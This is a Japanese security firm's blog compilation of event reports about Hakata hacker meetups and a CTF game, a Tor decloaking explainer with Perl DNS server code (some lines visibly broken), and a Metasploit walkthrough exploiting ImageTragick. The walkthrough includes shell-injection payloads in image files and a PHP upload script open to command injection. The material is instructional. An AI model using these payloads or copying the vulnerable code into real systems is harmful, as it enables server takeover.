第三回Hackerzミーティング博多の様子

img_0410img_0209

第三回Hackerzミーティング博多無事終了しました!今回は弊社開発次世代型CTFゲームである『TEPPEKI〜CTFバトルフィールド〜』のお披露目会を兼ねて第一回目のCTF大会を開催しました!
告知通りMVPプレーヤーには10月発売予定のプレイステーション4VRセットをかけて白熱したバトルが繰り広げられました!今号ではその様子をお伝えします。
まずは何時ものように食べ放題飲み放題の会場にて乾杯の挨拶!それから開発経緯や開発秘話トークにてイベントスタートしました!img_0411

苦節4年!様々な妨害にもめげずにこの日を迎えられた事に感謝!感謝!です。
続いて早速1回目のバトルスタートですが準備の間はしばしご歓談www
当イベントのお決まりになったミクガール達がお酒&飲み物をお席までお届け!img_0416img_0429

準備も整いいよいよ1回目のCTFバトルスタート!
ルールは、、、
・3対3のチーム対戦
・制限時間30分間
・自陣に3つノード(サーバー)、敵陣に3つのノードそして中立の2つのノードがあり敵陣もしくは中立ノードの脆弱性を見つけて侵入し隠されたフラグを入力する事で加点。また自陣ノードの脆弱性を修正し『防御』する事によっても加点される。
※独自技術により修正=防御とし判別できるオンラインCTFはTEPPEKIが世界初搭載!
・三十分後合計ポイントが多いチームがい勝利

以上のルールで白熱のバトルの火蓋が切って落とされました!img_0413img_0422

頭を悩ませる問題に皆さん真剣な表情www
またTEPPEKIは観戦者も楽しめるようにリアルタイムで進行状況がわかる観戦モードも搭載!会場では観戦モードを大型プレジェクタで映し出し解説しながら皆んなで飲食ができる画期的なゲームソフトなんです!なんて素晴らしいんでしょう!
解説に皆んな真剣そのもの!img_0412img_0415img_0414

CTFに慣れていない方も多かったせいなのか?ちょっと問題難しかったのか?w一回目は正解者0!プレーヤーの感想を伺いました!img_0417img_0418

大方のご意見は、不正解ごとに少しずつヒントを出して欲しい!との事!正式リリースまでに検討しますwwimg_0419img_0420

少しの休憩・ご歓談を経て第二回目に突入!悔しかったのか2回目も参戦された方も!果たして結果は!?!?img_0423img_0421

2回目は正解者続出!!!観戦者への解説にも熱が入ります!img_0426

そして結果は1Pチームの勝利!!!
そして初代TEPPEKI MVPは!?!?img_0424

写真中央の金子健哉さん!おめでとうございます!金子さんにはunnamed (9)

をお届けしますので今しばしお待ちを!!!!!!!

計2回のバトル対戦が終了し田口氏より難しかった問題やゲームのコツなどを解説!img_0427img_0407

田口氏の解説に皆んな興味深々!次回のバトルの参考にしてください!

イベントも終盤に差し掛かった所で頭山満翁のひ孫にあたる頭山晋太郎氏が会場に駆けつけ一言挨拶いただきました!国防の観点からもこの様な集まりの中から優秀なホワイトハッカーが育っていく事を願っていますとの事!img_0428

ここ福岡では私たちの集まりに賛同してくださっている県議・市議の方々も大変多くおり次回以降実際見てみたいとのお声も多いのでじゃんじゃん視察に来てもらう予定です!

ここで一通りのスケジュール終了!後は交流会としてしばし飲み食いし親睦を深めました!img_0430img_0425

今回終わってつくづく思った事は、本当にこのハッキングゲームソフトを作ってよかった!イベントやっててよかった!と心底思いました!
問題解けた方も解けなかった方も皆さん共通して仰ったのが、もっと技術力向上したい!です。
当イベント及びTEPPEKIがそのきっかけ作りにまた練成の場になってくれたら幸いです!それではまた第四回でお会いしましょう!有難うございました!img_0408

第三回hackerzミーティング博多のお知らせ(MVPハッカーには賞品ありCTF大会!)

unnamed (8)大人気イベントHackerz MTG.の第3回!
早いもので当イベントも三回目のなりました!

・第一回目の様子(http://www.whitehackerz.jp/blog/hacherz%E3%83%9F%E3%83%BC%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E5%8D%9A%E5%A4%9A/)

・第二回目の様子
(http://www.whitehackerz.jp/blog/%E7%AC%AC%E4%BA%8C%E5%9B%9Ehackerz%E3%83%9F%E3%83%BC%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E5%8D%9A%E5%A4%9A%EF%BC%81/)
この度、WhiteHackerZHackerz Lab.博多が開発しているマルチプレイヤーオンラインCTF対戦ゲーム『TEPPEKI』の初お披露目イベントとなります。
現在IT、WEB業界では人材不足が大きな問題となっています。
中でもセキュリティ人材不足は顕著であり、優秀な人材は引く手数多となっています。
これからもその傾向はより強くなると考えられています。
『TEPPEKI』を通し楽しみながらセキュリティスキルを学ぶことによりセキュリティ人材、ホワイトハッカーを育てていきたいと考えています。

今回は『TEPPEKI』の対戦を実際にその場で観戦することができます。
また希望者には実際に対戦に参加いただけます。
さらに!対戦参会者の中からMVPホワイトハッカーを選出しMVPには豪華賞品が進呈されます!賞品詳細は後半で。
これから業界内外問わずに確実に大注目間違い無しの『TEPPEKI』を日本で一番最初に目撃していただきたいと思います。

unnamed (6)

【TEPPEKIとは】
1.Capture The Flag(CTF)の簡易版として、攻撃をクイズ形式、攻略性を陣取り型にしたマルチプレイヤーオンライン対戦ゲーム。
2.実際のプログラムソースなどからFLAGと呼ばれる脆弱性を拾いだし、正誤を判定。
3.正解する事で、セキュリティ突破とみなす攻略性。課程を学習する目的も兼ねて提供。
4.マッチングサーバを用いたマルチプレイ対応。ゾーンと呼ばれるノードの密集地帯に集ったプレイヤー同士で対戦可能。
5.持ち時間内に全て突破(完全制圧)するか、制限時間内に制圧率の高い方が勝利。
6.観客としての観戦も可能。観戦時はどちらのチームが勝利をするかをゲーム内通貨を利用して投資が可能。

開発費用2,000万円をかけた本格派マルチプレイヤーオンライン対戦ゲーム。
WEB CTF業界では今後当システムがプラットフォームになっていくと予想される。
上記理由として、現在あるWEB CTFは攻め側だけの加点方式!何をもって防御に成功したのか?を検知するのが難しいのですが、TEPPEKIは業界初!独自の監査サーバー設置により防御も加点可能に!これにより攻守いずれでも加点される為白熱のオンラインバトルを実現!観戦モードにも力をいれ、視聴だけでも楽しく学べるようにセキュリティ人材育成にも貢献します。unnamed (4)unnamed (7)unnamed (1)unnamed (2)unnamed (5)unnamed (3)
【当日内容】
1.WhiteHackerZ 宮脇 正(TEPPEKI開発責任者)&
Hackerz Lab.博多 古林 侑樹(TEPPEKI発案者)によるトーク

2.『TEPPEKI』ゲーム対戦第1回(3対3)
解説者:田口 雅章(WhiteHackerZ)
実況:古林 侑樹(Hackerz Lab.博多)
対戦者:coming soon…

3.『TEPPEKI』ゲーム対戦第2回(3対3)
解説者:田口 雅章(WhiteHackerZ)
実況:古林 侑樹(Hackerz Lab.博多)
対戦者:当日参加者の中から有志6名(3対3)

ゲーム対戦第1回、第2回参加者の中からMVPホワイトハッカーにはなんと
「PS4+PlaystationVRセット(予約)」をプレゼント!総額10万円相当の賞品を見逃すな!

unnamed (9)unnamed (10)

http://www.jp.playstation.com/psvr/
ゲーム参加希望者はお問い合わせ、または当日申し込みをお願いします。

4.交流会

5.希望者は2次会へ(場所は未定。会場近くの居酒屋などを予定)

【概要】
Hackerz MTG.Vol_3
会場:ル・ジャルダン(中洲ゲイツ7F)ジャルダンHP⇒(https://www.hotpepper.jp/strJ001133640/party/
日時:9/11(日) 18:00〜20:30 (会場オープン17:30)
料金:無料招待(無料!!!)
申し込みはこちらのフォームからお願いします!
https://docs.google.com/forms/d/1nGapMOtNTE8Zp67Io9F1-YRW1GBUUhdPaKlqI7bY_E8/edit

猛者どもの挑戦待っていおるぞ!!!unnamed (11)

当イベントのお決まりパターンになってきた初音みくちゃんも大量参戦www
それでは当日会場でお会いしましょう!unnamed (13)unnamed (12)unnamed (14)

アラブ首長国連邦(UAE)に行かれるときの注意点(VoIPアプリの使用を抑制)

これからアラブ首長国連邦(UAE)に行かれるときの注意点
として仲間から送られてきたので掲載します。
(2016/8から適用)
IMG_0029
VPNを非合法とはしないですが、利用方法によっては罰金と懲役が科せ
られる法律を通過させ適用を開始しました。
その理由は
UAEでは規制されたプロキシ・サーバーの設定が必須
自動プロキシ設定では、”http://proxy.emirates.net.ae/proxy.pac“を使用
それに伴ってインターネットは閲覧規制がかかっておりSkype 、WhatsApp、
Snapchat、ViberなどのSNS 、イスラエル関係、反イスラムを標榜するサイト、
女性の水着・下着のモデル写真、不適切とみなされる単語(例: fuck)を
含むサイト、猥褻目的のサイト(ポルノ・風俗産業関連)などがブロックされ
ています。
そのため、VPNはツーリストには必須なものとなっていました。
それが、UAE国内の利用者が増加したことで、国が介入してきたと
いうことになります。
アラブ首長国連邦に居住する人の多くがVPNアプリを導入しVoIPを利用して、
メッセージング、音声アプリがあるSkype、WhatsApp、Snapchat、Viber
などを利用したり、VPNを利用していますが、そのことでUAE国内の
ローカルテレコム会社(国営企業Etisalat と 新参企業du)の事業経営に
支障が出始めてきました。
その対策として事業を取り戻すため(これらVoIPアプリの使用を抑制する)
この新しい法律を実施することになったのです。
日本の方が国際ローミングを利用した場合にはすべてのトラフィックは
ローカルテレコム会社(国営企業Etisalat と 新参企業du))を経由する
国際ローミングため本法律の対象ではありません。またVPNを張った
としても上記ローミングを経由した後のVPNとなるため本法律の対象に
はなりません。
ただし現地でWiFiなどを使う場合には、MACアドレスを固定で利用する
のではなく必ず定期的に(1日一回以上)変更し利用することを推奨して
います。
参考、出典元資料:
Takeo Yoshida

第二回Hackerzミーティング博多!

皆様こんにちは!IMG_6403

今回は7月30日土曜日20時より開催された第二回ハッカーズミーティングの様子をご報告させていただきます。第一回同様60名を超える方々にご参加頂きました。また企画面も前回を超える内容で満足頂けたのではないかと思っております。登壇者は以下!IMG_6188IMG_6187IMG_6191IMG_6190IMG_6186それでは見ていきましょう!

第二回ハッカーズミーティング

20:00 スタート 司会 ITeensLab近藤(http://www.do-luck.net/plady/kidsit/
VJ  atk

IMG_6275IMG_6276

挨拶・乾杯 Whiehackerz 宮脇正IMG_6306

乾杯も済みいよいよ Talkイベントスタート!まずは九州大学サイバーセキュリティセンター(http://staff.cs.kyushu-u.ac.jp/ja/index.html)准教授の金子晃介さんから!IMG_6279

非常に興味深い話でした。特に九州大学ではサイバーセキュリティが必修科目になるんですって!金子さんまた次回もよろしくお願いします!

つづいて株式会社Skydisc(https://skydisc.jp/)代表取締役 橋本司さんの登場!お題は『IoTで必要とされるセキュリティ』についてIMG_6282

丁度当イベント準備期間中に孫正義氏の英半導体大手のアームホールディングス買収ニュースが飛び込んできていましたので、本イベントで唯一のIoT業界の橋本さんのお話を密かに一番の楽しみにしておりました!大変興味深くまたじっくりとお伺いできればと思います!

続いて、第一回も登壇し皆勤賞中のリーガルジャパン法律事務所 代表弁護士 清田知孝さん!お題は『サイバー犯罪の判例と今後の法規規制について』IMG_6285

今回は判例をもとに具体的なお話頂きました。第3回もよろしくお願いしますwww

それから満を持して我らが校長!株式会社ブースタ 代表取締役 Whitehackerz養成学院校長 田口雅章さん!お題は『サイバー攻撃に関する被害回復事例』IMG_6288

今回は実際に弊社にお問い合わせ頂き被害調査&対策を行った事例を公開できる範囲でお伝えしました!少し事前に飲みすぎたのか!?いつもより流暢にしゃべる校長でしたwww次回から酔拳トークが決定しましたww

最後にオオトリ!この日のために東京からわざわざお越し頂きました!株式会社サイバーセキュリティクラウド(http://www.cscloud.co.jp/) 会長兼ファウンダー 横田武志さん!攻撃遮断くん(https://shadan-kun.com/service/)で有名な会社です!お題は『サイバーセキュリティ業界の人材動向について』IMG_6292

アメリカのサイバーセキュリティ業界との比較とってもわかりやすかったです!本記事でお見せできないのは残念ですが極秘資料まで用意くださり皆さん食い入るようにプロジェクターから映し出される資料をみていました!IMG_6397

それからお待ちかねの登壇者5名によるフリートーク!IMG_6257IMG_6258IMG_6259IMG_6262

とここで、、、

え!!?

ええ!?!?

IMG_6255

筋肉ムキムキの謎の男が壇上に乱入!!!この男性は、、

ただでさえ堅苦しい話が多いのでWhitehackerzが用意したイベント盛り上げ男のショーンと愉快な水着ガールの皆さんですwwwIMG_6267IMG_6254

ここからは交流会イベント!!!飲んで騒いで!!!楽しんで交流してます!!!IMG_6266

今回も初音ミク参戦!今回は5人!!!大人気ですwwwIMG_6268IMG_6269IMG_6297

ちょいちょい出てくるチェックのスーツの人wwwwwwwwwww女の周りにしまいせんwwwwIMG_6396IMG_6301IMG_6277IMG_6256IMG_6296

遅れてきたコバちゃんwwwIMG_6272

彼らのITeensLab(http://www.do-luck.net/plady/kidsit/)子供向けプログラミングスクールは九州地区ではテレビに引っ張りだこ!!皆さん応援よろしくお願いします!IMG_6271

とそのまま二次会へ流れていくのでした。。。

このイベント次回は9月11日に第三回開催決定!現在開発中のハッキングゲームもその時にお披露目します!3on3で戦う本格ハッキングゲームです!是非ともお越しください!ただし参加条件はIT関係者でセキュリティに携わっている方もしくは興味がある人のみ!!!それではまたお会いしましょう!

あ、whitehackerzアプリがAppストアとAndroidマーケットでインストール可能になりました!是非チェックしてみてください!IMG_6394

それではさようなら!IMG_6299

FBIがTorを破ったネットワーク捜査手法について

tor
FBIは過去にTorを利用して児童ポルノサイトにアクセスするユーザを1000人以上摘発したことが知られています。
その手法はMetasploit FrameworkのDecloaking Engineを利用したものだと言われています。
今回はDecloaking Engineとはなんなのかを調査してみたいと思います。

Decloaking Engineの概要

Decloaking Engineはクライアント側の技術とカスタムサービスの組み合わせを使用してプロキシ設定に関係なくWebユーザの実際のIPアドレスを示すためのシステムです。
このツールは脆弱性を用いた攻撃は行いません。

Decloking Engineの動作原理

  1. Webクライアントがホスト名を解決しようとすると、その設定されたDNSサーバに検索要求を送信します。クライアントのDNSサーバは特定のドメインのネームサーバにクエリを送信します。ホスト名は一位の識別子が含まれている場合、DNSサーバはクライアントのIPアドレスを関連づけることが可能です。しかし被害者がsocks4a, socks5を利用しており、socks proxy越しにdnsリクエストを送信する場合、この手法は通用しません。socks4を利用している場合は通用します。

  2. Javaアプレットは、ソケットAPIを使用してホスト名を解決しようとすると、ホスト名がアプレットを提供するWebサイトと同じでない場合、セキュリティ例外が発生します。しかし、セキュリティ例外がトリガされていても、DNS要求自体は依然として、クライアントのDNSサーバーに送信されます。これは、DNS対応プロキシサーバが使用中の場合、特定のクライアントがあっても例に、ウェブにアクセスして、そこからISPや企業をリークすることができます。

  3. JavaアプレットはUDPパケットを送信すると、パケットは通常、プロキシサービスを経由せずに送信されます。これは、Webクライアントの実際の外部IPアドレスをリークします。このメソッドは、Javaの新しいバージョンでは動作しない可能性があり、パケットの宛先は、アプレットを提供するホストのIPアドレスに制限されています。

  4. Javaが有効になっている場合、Webクライアントのホスト名とIPアドレスは、ソケットAPIにアクセスすることができます。この方法は、ユーザのホスト名とIPアドレスが漏洩します。言い換えれば、これは、システムがNATゲートウェイまたはプロキシサーバの背後にある場合でも、システムの内部IPアドレスが漏洩します。

  5. Flashプラグインがインストールされると、それは、バック元のホストへの直接TCP接続を可能にします。これらの接続は、ユーザーのホストの実際の外部アドレスが漏れ、プロキシサーバをバイパスすることがあります。

  6. Microsoft Officeがインストールされ、自動的に開いているドキュメントに設定されている場合、ファイルは自動的にインターネットから画像をダウンロードする返すことができます。これは、プロキシ設定を省略して、ユーザーの実際のDNSサーバを公開することができます。

カスタムDNSサーバ

動作原理で説明した手法を実行するためにはカスタムされたDNSサーバを用意しなければなりません。カスタムDNSサーバはmetasploit framework teamによりソースコードが公開されています。

#!/usr/bin/perl
###############

use Net::DNS::Nameserver;
use DBD::Pg;

use strict;
use warnings;

# Configure the user ID to run as (must start as root)
my $user = 1015;

# Configure the interfaces and ports
# You need :53 on the wildcard domain and :5353 on the IP running the web site
my $bind = [ ['0.0.0.0', 53], ['0.0.0.0', 5353] ];

# You need :53530 TCP on the IP running the web site
my $tcps = [ ['0.0.0.0', 53530] ];

# Wildcard subdomain we handle DNS for
my $dom  = "red.metasploit.com";

# Configure postgres credentials
my $db_name = "dbname";
my $db_user = "dbuser";
my $db_pass = "dbpass";
my $dbh;

my $opts = {
        AutoCommit => 1,
        RaiseError => 0,
};

# Escape the $dom var to be a valid regex
$dom =~ s/\./\\\./g;

foreach my $c ( @{$bind} ) {
        if (! fork()) {
                Launch($c->[0], $c->[1]);
                exit(0);
        }
}

foreach my $c ( @{$tcps} ) {
        if (! fork()) {
                LaunchTCP($c->[0], $c->[1]);
                exit(0);
        }
}

exit(0);

# This table must already exist
##
# Table "public.requests"
#  Column |         Type          | Modifiers
# --------+-----------------------+-----------
# cid    | character(32)         |
# type   | character varying(16) |
# eip    | character varying(16) |
# iip    | character varying(16) |
# dip    | character varying(16) |
# stamp  | timestamp             |
##

sub reply_handler {
        my ($qname, $qclass, $qtype, $peerhost) = @_;
        my ($rcode, @ans, @auth, @add);

        if ($qname =~ m/^([a-z0-9]{32})\.(\w+)\.(\d+\.\d+\.\d+\.\d+)\.(\d+\.\d+\.\d+\.\d+)\.$dom/) {
                # print "$peerhost > $qname (MATCH)\n";
                my ($cid, $type, $eip, $iip, $dip) = ($1, $2, $3, $4, $peerhost);
                my $sth = $dbh->prepare("INSERT INTO requests values (?, ?, ?, ?, ?, now())");
                $sth->execute($cid, $type, $eip, $iip, $dip);
                $sth->finish();
        }else{
                # print "$peerhost > $qname (NO MATCH)\n";
        }

         if ($qtype eq "A")
         {
             my ($ttl, $rdata) = (1, $peerhost);
             push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
             $rcode = "NOERROR";
         }
         elsif ($qtype eq "PTR") {
             my ($ttl, $rdata) = (1, $peerhost);
             push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
             $rcode = "NOERROR";
         }
         else {
             my ($ttl, $rdata) = (1, $peerhost);
             push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
             $rcode = "NOERROR";
         }

         # mark the answer as authoritive (by setting the 'aa' flag
         return ($rcode, \@ans, \@auth, \@add, { aa => 1 });
}

sub Launch {

my $host = shift();
my $port = shift();

$0 .= " ($host:$port)";

$dbh = DBI->connect("DBI:Pg:dbname=$db_name", $db_user, $db_pass, $opts) || die "Couldn't connect to database: " . DBI->errstr;

my $ns = Net::DNS::Nameserver->new(
    LocalPort    => $port,
    LocalAddr    => $host,
    ReplyHandler => \&reply_handler,
    Verbose      => 0,
);


$ = $user;


if ($ns) {
        $ns->main_loop;
} else {
   die "Couldn't create nameserver object\n";
}

}

sub LaunchTCP {

my $host = shift();
my $port = shift();

$0 .= " TCP ($host:$port)";

my $srv =  IO::Socket::INET->new(
        'Proto'     => 'tcp',
        'LocalPort' => $port,
        'LocalAddr' => $host,
        'Listen'    => 5,
        'Reuse'     => 1
);

die unless $srv;

while (my $cli = $srv->accept()) {

        if(! fork()) {
                my $sel = IO::Select->new($cli);
                $cli->autoflush(1);
                if ($sel->can_read(5)) {
                        my $buf = ;
                        if ($buf && $buf =~ m/^([a-z0-9]{32}):(.*)/i) {
                                my $cid = $1;
                                my $eip = $2;
                                chomp($eip);

                                $dbh = DBI->connect("DBI:Pg:dbname=$db_name", $db_user, $db_pass, $opts) || die "Couldn't connect to database: " . DBI->errstr;
                                my $sth = $dbh->prepare("INSERT INTO requests values (?, ?, ?, ?, ?, now())");
                                $sth->execute($cid, 'socket', $eip, '0.0.0.0', $cli->peerhost);
                                $sth->finish();
                                print $cli ($cli->peerhost . "\x00");
                        }
                }
                $cli->close();
                exit(0);
        }
}

}

カスタムDNSサーバはPerlのはNet::DNS::Nameserverのスクリプトを使用して要求を処理し、特定のドメインに対するすべての要求を処理します。このDNSサーバーの巧妙な機能はspy.metasploit.comドメイン内の任意のホストを検索すると、独自に設定されたDNSサーバの外部IPアドレスを返すことです。また、このサーバーはフラッシュからJavaやTCP要求からのUDP要求を処理します。

decloaking Engineの現状と未来

Decloaking Engineは2008年に発表されましたが、現時点では削除されているようです。確かに陳腐化する手法ではあると思いますが、FBIが利用していると言うならば、基本となる考え方は実績があり、例えば日々発見されるFlashなどの脆弱性を組み込めば使えるようになるはずです。
しかし未来を見据えるなら、Flashは今後どのブラウザでも廃止されHTML5になるでしょう。JavaAppletやJavaはTorブラウザからは使用すべきではないということはTorを利用している人なら多くの人が理解していますし、デフォルト設定ではそうなっています。

まとめ

FBIの現時点での手法は苦肉の策であり、脆弱性を組み込まない限り成功率も低く、将来的にも使えるものではないようです。DeepWebは必要に駆られたジャーナリストなどに使用されるならば、新たな可能性を秘めていると考えますが、児童ポルノに関わる犯罪をなくすためにも新たな手法が望まれています。

Hackerzミーティング博多

6/12日曜日に福岡市博多区のGARB LEAVESさんにて第一回ハッカーズミーティングを開催致しました。今回はその様子をお伝えします。

福岡 博多駅前のカフェレストラン GARB LEAVES(ガーブ リーブス)

IMG_5585

当日の行程は以下の通りです。

以下敬称略
司会:近藤
ファシリテーター:古林
コメンテーター:日下部
19:00 挨拶、乾杯
挨拶(19:00)
・司会自己紹介(近藤)
IMG_5606
IMG_5612
・Hackerz Lab.代表挨拶(古林)
IMG_5607
・タイムテーブル紹介・システム紹介・DJ・VJ紹介(近藤)
(null) (1)
IMG_5599
IMG_5604
・White Hackerz挨拶(宮脇)
・乾杯(宮脇)
IMG_5591
19:00〜19:30 DJ Wimps&VJatk
IMG_5588
19:30〜20:00 ハッカーズトーク&サウンドファシリテートatk(右からWhitehackerz田口校長、ジェリー氏、清田弁護士、日下部氏、ファシリテーター古林氏)
対談では田口校長より最近のサイバーセキュリティ業界の動向についてお話しし、続いて清田弁護士よりサイバー犯罪についての見解、そして最も驚いたのがドイツ人ジェリー氏による量子コンピューター界隈の情勢について!自身も量子コンピューターの研究・開発者でもあるジェリー氏のディープすぎる話しに会場は生唾飲んで聞き入っていましたwwww
IMG_5589
IMG_5594
IMG_5590
IMG_5603
IMG_5602
IMG_5593
20:00〜20:20 フリートーク
IMG_5592
IMG_5598
IMG_5600
IMG_5610
IMG_5613
IMG_5614
20:20〜20:30 ハッカーズソングLIVE
IMG_5611
(null) (2)
20:30〜21:00 フリートーク&希望者自己紹介など
IMG_5615
IMG_5616
IMG_5617
21:00 挨拶、イベント等告知、記念撮影
IMG_5583
以上惜しまれながら閉会の運びとなりました。
第一回にしては多くの方々にお集まり頂き感謝申し上げます。
これからこの集まりにおいて、技術的考査をしたりサイバー犯罪における事例検証したりサイバーセキュリティにおける法令・条例についての議論の場であったりそしてサイバーセキュリティにおける新しいサービス・ソフト開発のきっかけになったり、、、この4点に重点をおき九州地区ナンバー1のセキュリティ会議に成長させてまいります。
次回第二回開催日程は今から2週間程度で決定しますが粗方7月20〜末頃になる予定です。
また改めて告知させて頂きますが九州地区の皆様は奮ってご参加ください!
次回は100名!
IMG_5609
それではまた!

ImageTragickの脆弱性を攻略!~Metasploitを使って侵入してみた!

ImageTragickという脆弱性が2016年5月3日に公表され話題になっています。


[imagetragick.comより]

ちょうど、GW中に話題になった脆弱性です。
サーバ管理者や関連する方は招集がかかったのではないでしょうか。

ImageTragickとは
ImageMagickという画像を加工できるソフトで見つかった脆弱性の名前です。
このソフトは、例えば画像のフォーマット(JPG)を他のフォーマット(PNG)に変換したり、サイズを変更したり、減色したり、画像同士を合成したり、、、などなど、画像を簡単に編集できるソフトです。Windows、Mac、Linuxなど主要なOSをサポートしており人気があるソフトウェアです。

このImageMagickで画像を変換する際の処理が不十分で、それが脆弱性となっています。
この脆弱性にImageTragickという名前が付けられました。
また、専用のサイト(http://imagetragick.com)も開設されてます。

通常、脆弱性に名前がつくことは稀ですが、過去にもShellShockやHearBleedなど名前の付いた脆弱性がありました。インパクトのある脆弱性や被害が甚大なものなど、メディアに取り上げられやすいように名前やロゴをつくったりするケースが多いようです。

本記事ではMetasploit FrameWorkを使ってImageTragick脆弱性を突いてみたいと思います。
Metasploit Frameworkは、Kali Linuxに最初からインストールされています。
Kali Linuxのインストール手順は下記ブログを参照してください。

Kali Linuxをインストールしてみる!

まずImageTragickの脆弱性があるやられサーバを用意しましょう。
ImageTragickの脆弱性はImageTragick version 7.0.1未満に内包されています。

次にmetasploit frameworkで攻撃用のファイルを作成します。
Kali Linuxを立ち上げてMetasploitを起動します。
1

2

立ち上がるまで時間がかかります。
立ち上がったら、攻撃方法を指定します。

use exploit/unix/fileformat/imagemagick_delegate

3

info

この脆弱性に関する情報が確認できます。
ImageMagickのどのバージョンに脆弱性があるのか、などの情報がみれます。
12

 

次に、設定する情報を確認します。

show options

「Required」という箇所がyesになっている項目は必ずセットしないといけません。
この場合、左のCurrent Settingに既に値がセットされているので、このまま進みます。
13

次にどのファイルフォーマットに攻撃を仕込むか、という設定をします。

show targets

と入力してエンターを押します。
Exploit targetにいくつかの選択肢があります。
攻撃方法としてどの画像ファイルをつかうか、という設定です。
14

ここでは、1のMVGファイルを選択してみます。

set target 1

続いて、確認の為、再度、Show Optionsと入力すると、Exploit targetがSVGからMVGに変更されているのが確認できます。
15

次に、利用している端末のIPアドレスをセットします。
一度、自分のIPアドレスを確認するため、ifconfigでIPを確認しています。
IPアドレスを確認したらセットします。

set LHOST [攻撃者(ここではこのPC)のIP]

これで、前準備は完了です、

exploit

と入力してエンターキーをおすと、相手の接続を待ち受けている状態となります。
また、同時に攻撃用の画像ファイルが自動で作られます。

作られる場所は赤枠、/root/.msf4/local/msf.pngです。
この画像ファイルを脆弱性のあるPCにおくり、相手がImageMagickで画像を変換処理すると、相手のPCに進入する事ができます。
5

実際に、/root/.msf4/local/のフォルダをみると、msf.pngというファイルが作成されています。
この画像をターゲットのPCにおくります。6

ここではSCPコマンドでファイルを送ります。
相手のIPは10.0.2.15ですので、
spc [送りたいファイル] ユーザ名@[相手のIP]:[相手の送る場所]
11

相手のサーバ(10.0.2.15)にファイルを送信完了です。

[相手のサーバ画面]
先ほどおくったmsf.pnfを確認できます。
10

つぎに、このファイルをターゲットとなるPCでImageMagickをつかって変換します。
ここでは、msf.pngをhoge.jpgに変換してみます。

convert msf.png hoge.jpg

画面に変化はおきず、ずっと処理中のような形となります。
16

攻撃側のPCに戻ると、接続したとのメッセージが表示されます。
17

これは、相手のサーバに進入している状態です。
whoamiで、侵入したユーザ名、hostnameでホスト名、また、このPCで使われているパスワード閲覧など、色々できます。また、奪った権限によっては致命的な状態に陥ります。
18

確かに恐ろしい攻撃ですが、相手側はこちらが用意した攻撃用の画像ファイルを使わないと攻撃は成立しないため、そうそう起こりえる事でありません。

しかし、このImageMagickはwebアプリケーションでもよく使われています。
入力された画像ファイルをImageMagickをつかい画像サイズを変えたり、画像フォーマットを変更したり、といった加工しているケースです。

次は、webアプリケーション(php)からimagemagickを利用して、攻撃が成功する例をみていきます。
まずは、web側の環境をつくっていきます。

$ sudo apt-get install apache2 php-pear php5-dev php5 pkgconf
$ sudo peardev install pecl/imagick

php.iniファイルに”’extention=imagick.so”’を追記すればimagickライブラリをphpから利用することができます。
攻撃用ファイルを読み込むphpスクリプトを用意してブラウザからアクセスしてみます。

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-language" content="ja">
<meta charset="UTF-8" />
</head>
<body>
<?php
//ファイルアップロードサンプルです。
if ( $_POST["submit"] ) { 
 $original_image = $_FILES['filename']['tmp_name'];
 $new_image = $_FILES['filename']['name'];
 //グレイスケールに変換
 exec("convert -type GrayScale $original_image $new_image");
 echo "変換完了<br>";
 echo $original_image.":".$new_image;
 echo "<img src='".$new_image."' wdith='500'>";
}else{
?>
<p>画像をグレイスケールに変換:</p>
<form method="post" action="./upload.php" enctype="multipart/form-data"> 
<input type="file" name="filename" />
<input type="Submit" name="submit" value="変換" />
</form>
<?php
}
?> 
</body>
</html>

19

攻撃ファイルである、msf.pngを選択して変換ボタンをおします。
PHPを側でこのmsf.pngを受け取って、ImageMagickをつかい、グレースケールにしていますが、この処理の瞬間、攻撃が成功します。

相手サーバに侵入して、このPHPソースを表示しました。

当然、ファイルを書き換えたり削除したり、被害は甚大です。

20

このように、WEB側でImageMagickを利用しているサイトで攻撃ファイルを読み込みさせることでサーバを乗っ取ることができてしまいます。

それでは、なぜ脆弱性が起きるのかを見ていきます。

ImageMagickでは、受け渡された画像の種類を判断するために、coderという機能をつかって判断しています。このcoderを使っても判断できなかった場合、次にdelegateという機能をつかって判断します。このとき、このdelegateは外部のプログラムを実行するのですが、delegateはデフォルトの設定ではHTTPSリクエストを行います。
その際の入力チェックが不十分で任意のシェルコマンドを実行できてしまいます。

"wget" -q -O "%o" "https:%M"

この%Mのチェック処理が不十分なため、シェルコマンドが実行できてしまいます。

たとえば、ファイルのリストを表示するls -laというコマンドを変換元の画像に渡したい場合は

convert 'https://example.com";ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

このように、コマンドが実行されてしまいます。

SVGやMVGといった画像フォーマットにもImageMagickは対応しています。
このSVG形式の画像は、外部ファイルを参照することができます。

たとえば、exploit.svgという画像に外部URLを入れた場合は以下のようになります。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg"; xmlns:xlink=
"http://www.w3.org/1999/xlink";>
<image xlink:href="https://example.com/image.jpg&quot;ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

このexploit.svgをImageMagickで処理した場合、ファイルリストを表示する、ls -laコマンドが実行されます。

convert exploit.svg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

ImageMagickは、ファイルの種類を特定する際に、まず、ファイルの中身をチェックします。
ですので、exploit.svgを名前だけmsf.pngと変更しても中身はSVGファイルなので、拡張子チェックの前に処理されてしまいます。

脆弱性が存在するバージョンなのかチェックする

ImageMagickを利用している場合、そのバージョンがImageTragick脆弱性が存在しているか簡単にチェックをする事ができます。
PoCが公開されていますので、そちらを利用します。
PoCとは検証用のプログラムで、対策が必要か判断できます。
また、PoCは改変すれば攻撃ツールとしてしても利用可能となるので、利用する場合は注意が必要です。

それでは、検証を行っていきましょう。
gitコマンドで、ツールをダウンロードして、PoCsの中にある、test.shを実行します。

git clone https://github.com/ImageTragick/PoCs.git
cd PoCs/
./test.sh

21
